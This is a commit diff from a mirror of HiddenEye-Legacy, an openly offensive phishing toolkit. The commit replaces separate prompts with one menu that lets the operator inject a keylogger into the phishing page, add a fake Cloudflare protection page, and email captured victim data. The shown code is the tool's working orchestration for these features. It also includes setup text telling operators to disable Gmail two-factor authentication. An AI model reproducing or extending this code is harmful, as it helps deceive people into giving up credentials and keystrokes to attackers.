mirror of
https://github.com/DarkSecDevelopers/HiddenEye-Legacy.git
synced 2024-03-22 21:12:55 +08:00
Changed multiple prompts into one.
This commit is contained in:
parent
b43d592da6
commit
849566d506
|
@ -11,36 +11,14 @@ import Defs.ThemeManager.theme as theme
|
|||
|
||||
default_palette = theme.default_palette
|
||||
|
||||
def captured_data_email_prompt():
|
||||
run_command('clear')
|
||||
print('''{1}
|
||||
_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
{1}http://github.com/darksecdevelopers
|
||||
{0}** BY: {1}DARKSEC {0}**'''.format(default_palette[0], default_palette[2]))
|
||||
print(
|
||||
"-------------------------------\n{0}[ PROMPT: NEED CAPTURED DATA TO EMAIL ? ]{1}!! {0}\n-------------------------------".format(default_palette[0], default_palette[4]))
|
||||
print("\n{0}[{1}!{0}]{1}No Need To Configure, If you have Already Done. ".format(default_palette[0], default_palette[4]))
|
||||
print("\n{0}[{1}*{0}]{0}DO YOU WANT CAPTURED DATA TO BE EMAILED, THEN CREATE CONFIG FILE -{1}(Y/N)".format(default_palette[0], default_palette[4]))
|
||||
choice = input("\n\n{1}{0}YOUR CHOICE >>> {2}".format(default_palette[0], default_palette[4], default_palette[2])).upper()
|
||||
if choice == 'Y':
|
||||
print("\n{0}[{1}!{0}] BEFORE STARTING MAKE SURE THESE THINGS: \n\n{0}[{1}+{0}] {1}YOU HAVE CORRECT GMAIL USERNAME & PASSWORD\n{0}[{1}+{0}] {1}YOU HAVE DISABLED 2-FACTOR AUTHENTICATION FROM YOUR GMAIL ACCOUNT\n{0}[{1}+{0}] {1}YOU HAVE TURNED ON LESS SECURED APPS \n (https://myaccount.google.com/lesssecureapps) \n\n".format(default_palette[0], default_palette[4]))
|
||||
input('[.] Press Enter To Start Configuring Gmail Credential File...')
|
||||
captured_data_email_configuration_prompt()
|
||||
elif choice == 'N':
|
||||
pass
|
||||
else:
|
||||
print('[^] ERROR: Please choose correct option to continue...')
|
||||
wait(1)
|
||||
captured_data_email_prompt()
|
||||
|
||||
def captured_data_email_confirmation(port): # Ask user to start sending credentials to recipient Email Address.
|
||||
import Defs.ActionManager.simple_informant as simple_informant
|
||||
choice = input(
|
||||
"\n\n{0}[{1}?{0}] Send Captured Data To Recipient Email Address.\nSend_Email(y/n)>> {2}".format(default_palette[0], default_palette[4], default_palette[2])).upper()
|
||||
"\n\n{0}[{1}?{0}] Send Captured Data To Recipient Email Address.\nSend_Email(y/n)>> {2}".format(
|
||||
default_palette[0], default_palette[4], default_palette[2])).upper()
|
||||
if choice == 'Y' or choice == 'y':
|
||||
if path.isfile('Defs/FeatureManager/EmailManager/emailconfig.py') == True:
|
||||
if path.isfile('Defs/FeatureManager/EmailManager/emailconfig.py'):
|
||||
system('python3 Defs/FeatureManager/EmailManager/SendEmail.py')
|
||||
else:
|
||||
print(
|
||||
|
@ -51,7 +29,8 @@ def captured_data_email_confirmation(port): # Ask user to start sending credent
|
|||
simple_informant.exit_message(port)
|
||||
else:
|
||||
system('clear')
|
||||
print("\n\n{0}[{1}^{0}] {2}Please Select A Valid Option.. ".format(default_palette[0], default_palette[4], default_palette[2]))
|
||||
print("\n\n{0}[{1}^{0}] {2}Please Select A Valid Option.. ".format(default_palette[0], default_palette[4],
|
||||
default_palette[2]))
|
||||
wait(1)
|
||||
system('clear')
|
||||
return captured_data_email_confirmation(port)
|
||||
|
@ -65,9 +44,12 @@ def captured_data_email_configuration_prompt():
|
|||
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
{1}http://github.com/darksecdevelopers
|
||||
{0}** BY: {1}DARKSEC {0}**'''.format(default_palette[0], default_palette[2]))
|
||||
print("-------------------------------\n{0}[ PROMPT: CONFIG EMAIL CREDENTIAL FILE ]{1}!! {0}\n-------------------------------".format(default_palette[0], default_palette[4]))
|
||||
#run_command('cp Defs/FeatureManager/EmailManager/EmailConfigDefault.py Defs/FeatureManager/EmailManager/emailconfig.py')
|
||||
copyfile('Defs/FeatureManager/EmailManager/EmailConfigDefault.py', 'Defs/FeatureManager/EmailManager/emailconfig.py')
|
||||
print(
|
||||
"-------------------------------\n{0}[ PROMPT: CONFIG EMAIL CREDENTIAL FILE ]{1}!! {0}\n-------------------------------".format(
|
||||
default_palette[0], default_palette[4]))
|
||||
# run_command('cp Defs/FeatureManager/EmailManager/EmailConfigDefault.py Defs/FeatureManager/EmailManager/emailconfig.py')
|
||||
copyfile('Defs/FeatureManager/EmailManager/EmailConfigDefault.py',
|
||||
'Defs/FeatureManager/EmailManager/emailconfig.py')
|
||||
GMAILACCOUNT = input("{0}[{1}+{0}] Enter Your Gmail Username:{1} ".format(default_palette[0], default_palette[4]))
|
||||
with open('Defs/FeatureManager/EmailManager/emailconfig.py') as f:
|
||||
read_data = f.read()
|
||||
|
@ -95,6 +77,8 @@ def captured_data_email_configuration_prompt():
|
|||
f = open('Defs/FeatureManager/EmailManager/emailconfig.py', 'w')
|
||||
f.write(c)
|
||||
f.close()
|
||||
print("{0}[.] {1}Recipient Email Address Added To config File. !\n".format(default_palette[0], default_palette[4]))
|
||||
print("{0}[.] {1}Recipient Email Address Added To config File. !\n".format(default_palette[0],
|
||||
default_palette[4]))
|
||||
print(
|
||||
'\n\n{0}[{1}SUCCESS{0}]: Created Config File & Saved To (Defs/FeatureManager/EmailManager/Config.py)'.format(default_palette[0], default_palette[4]))
|
||||
'\n\n{0}[{1}SUCCESS{0}]: Created Config File & Saved To (Defs/FeatureManager/EmailManager/Config.py)'.format(
|
||||
default_palette[0], default_palette[4]))
|
||||
|
|
0
Defs/FeatureManager/__init__.py
Normal file
0
Defs/FeatureManager/__init__.py
Normal file
|
@ -11,26 +11,9 @@ import Defs.ThemeManager.theme as theme
|
|||
|
||||
default_palette = theme.default_palette
|
||||
|
||||
def add_cloudflare_prompt():
|
||||
|
||||
run_command('clear')
|
||||
print('''{1}
|
||||
_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
{1}http://github.com/darksecdevelopers
|
||||
{0}** BY: {1}DARKSEC {0}**'''.format(default_palette[0], default_palette[2]))
|
||||
print("-------------------------------\n{0}[ CLOUDFARE PROTECTION PROMPT ]{1}!! {0}\n-------------------------------".format(default_palette[0], default_palette[4]))
|
||||
print("\n{0}[{1}*{0}]{0}DO YOU WANT TO ADD A CLOUDFARE PROTECTION FAKE PAGE -{1}(Y/N)".format(default_palette[0], default_palette[4]))
|
||||
choice = input("\n\n{0}YOUR CHOICE >>> {1}".format(default_palette[0], default_palette[2])).upper()
|
||||
if choice == 'Y':
|
||||
add_cloudfare()
|
||||
else:
|
||||
wait(1)
|
||||
|
||||
|
||||
def add_cloudfare():
|
||||
#run_command('mv Server/www/index.* Server/www/home.php &
|
||||
# run_command('mv Server/www/index.* Server/www/home.php &
|
||||
# & cp WebPages/cloudfare.html Server/www/index.html')
|
||||
chmod('Server', 0o777)
|
||||
chmod('Server/www', 0o777)
|
||||
|
@ -44,4 +27,3 @@ def add_cloudfare():
|
|||
copyfile('WebPages/cloudflare.html', 'Server/www/index.html')
|
||||
print("\n{0}[{1}#{0}]CLOUDFARE FAKE PAGE{0} ADDED...".format(default_palette[0], default_palette[4]))
|
||||
wait(1)
|
||||
|
||||
|
|
41
Defs/FeatureManager/feature_prompt.py
Normal file
41
Defs/FeatureManager/feature_prompt.py
Normal file
|
@ -0,0 +1,41 @@
|
|||
from Defs.ImportManager.unsorted_will_be_replaced import run_command
|
||||
import Defs.ThemeManager.theme as theme
|
||||
import Defs.FeatureManager.cloudflare as cloudflare
|
||||
import Defs.FeatureManager.EmailManager.email_prompt as email_prompt
|
||||
import Defs.FeatureManager.keylogger as keylogger
|
||||
|
||||
default_palette = theme.default_palette
|
||||
|
||||
|
||||
def feature_prompt():
|
||||
run_command("clear")
|
||||
print('''{1}
|
||||
_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
{1}http://github.com/darksecdevelopers
|
||||
{0}** BY: {1}DARKSEC {0}**'''.format(default_palette[0], default_palette[2]))
|
||||
print(
|
||||
"---------------------------------------------------------\n{0}[ PROMPT: PLEASE CHOOSE FEATURES YOU WOULD LIKE TO USE. ]{1}!! {0}\n---------------------------------------------------------".format(
|
||||
default_palette[0], default_palette[4]))
|
||||
print("\n{0}[{1}A{0}]{1} KEYLOGGER (Usually Kills Connection) ".format(default_palette[0], default_palette[2]))
|
||||
print("\n{0}[{1}B{0}]{1} FAKE CLOUDFARE PROTECTION PAGE ".format(default_palette[0], default_palette[2]))
|
||||
print("\n{0}[{1}C{0}]{1} CAPTURED DATA EMAILED ".format(default_palette[0], default_palette[2]))
|
||||
print("\n{0}[{1}0{0}]{1} PRESS ONLY ENTER FOR NONE OF THE ABOVE ".format(default_palette[0], default_palette[2]))
|
||||
print('\n{0}[{1}*{0}]{1} Please type all together. Eg: ABC or AC {0}[{1}*{0}]{1}'.format(default_palette[0], default_palette[2]))
|
||||
option = input(
|
||||
"\n\n{1}{0}YOUR CHOICE >>> {2}".format(default_palette[0], default_palette[4], default_palette[2]))
|
||||
|
||||
option.lower()
|
||||
|
||||
letters = ["a", "b", "c", "d"]
|
||||
|
||||
for x in option:
|
||||
if x in letters:
|
||||
if "a" in x:
|
||||
keylogger.add_keylogger()
|
||||
elif "b" in x:
|
||||
cloudflare.add_cloudfare()
|
||||
elif "c" in x:
|
||||
email_prompt.captured_data_email_configuration_prompt()
|
||||
|
|
@ -12,24 +12,6 @@ import Defs.ThemeManager.theme as theme
|
|||
default_palette = theme.default_palette
|
||||
|
||||
|
||||
def add_keylogger_prompt():
|
||||
run_command('clear')
|
||||
print('''{1}
|
||||
_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
{1}http://github.com/darksecdevelopers
|
||||
{0}** BY: {1}DARKSEC {0}**'''.format(default_palette[0], default_palette[2]))
|
||||
print("-------------------------------\n{0}[ KEYLOGGER PROMPT ]{1}!! {0}\n-------------------------------".format(default_palette[0], default_palette[4]))
|
||||
print("\n{0}[{1}!{0}]{1}ATTENTION: Adding Keylogger Mostly Kills the Tunnel Connection.\n".format(default_palette[0], default_palette[4]))
|
||||
print("\n{0}[{1}*{0}]{0}DO YOU WANT TO ADD A KEYLOGGER IN PHISHING PAGE-{1}(Y/N)".format(default_palette[0], default_palette[4]))
|
||||
choice = input("\n\n{1}{0}YOUR CHOICE >>> {2}".format(default_palette[0], default_palette[4], default_palette[2])).upper()
|
||||
if choice == 'Y':
|
||||
add_keylogger()
|
||||
else:
|
||||
wait(1)
|
||||
|
||||
|
||||
def add_keylogger():
|
||||
if path.exists('Server/www/index.html'):
|
||||
with open('Server/www/index.html') as f:
|
||||
|
|
|
@ -6,11 +6,12 @@
|
|||
#
|
||||
|
||||
|
||||
|
||||
import Defs.ThemeManager.theme as theme
|
||||
|
||||
default_palette = theme.default_palette
|
||||
|
||||
|
||||
def print_sorted_as_menu(sorting_list):
|
||||
col_width = max(len(word) for row in sorting_list for word in row) + 2
|
||||
for row in sorting_list:
|
||||
print("".join(word.ljust(col_width) for word in row).format(default_palette[0], default_palette[2]))
|
||||
print("".join(word.ljust(col_width) for word in row).format(default_palette[0], default_palette[2]))
|
||||
|
|
|
@ -6,8 +6,8 @@
|
|||
#
|
||||
|
||||
|
||||
|
||||
import gettext
|
||||
|
||||
gettext.bindtextdomain('HiddenEye', 'locale')
|
||||
gettext.textdomain('HiddenEye')
|
||||
_ = gettext.gettext
|
||||
_ = gettext.gettext
|
||||
|
|
|
@ -13,9 +13,7 @@ from os import system
|
|||
import Defs.ActionManager.main_runner as main_runner
|
||||
import Defs.ActionManager.Server.server_runner as server_runner
|
||||
import Defs.ActionManager.simple_informant as simple_informant
|
||||
import Defs.FeatureManager.cloudflare as cloudflare
|
||||
import Defs.FeatureManager.EmailManager.email_prompt as email_prompt
|
||||
import Defs.FeatureManager.keylogger as keylogger
|
||||
import Defs.FeatureManager.feature_prompt as prompt
|
||||
|
||||
simple_informant.license_handler()
|
||||
agreement = simple_informant.terms_of_service_message()
|
||||
|
@ -39,9 +37,7 @@ simple_informant.check_php()
|
|||
if __name__ == "__main__":
|
||||
try:
|
||||
main_runner.start_main_menu()
|
||||
keylogger.add_keylogger_prompt()
|
||||
cloudflare.add_cloudflare_prompt()
|
||||
email_prompt.captured_data_email_prompt()
|
||||
prompt.feature_prompt()
|
||||
main_runner.enter_custom_redirecting_url()
|
||||
port = simple_informant.port_selector()
|
||||
|
||||
|
|
0
__init__.py
Normal file
0
__init__.py
Normal file
Loading…
Reference in New Issue
Block a user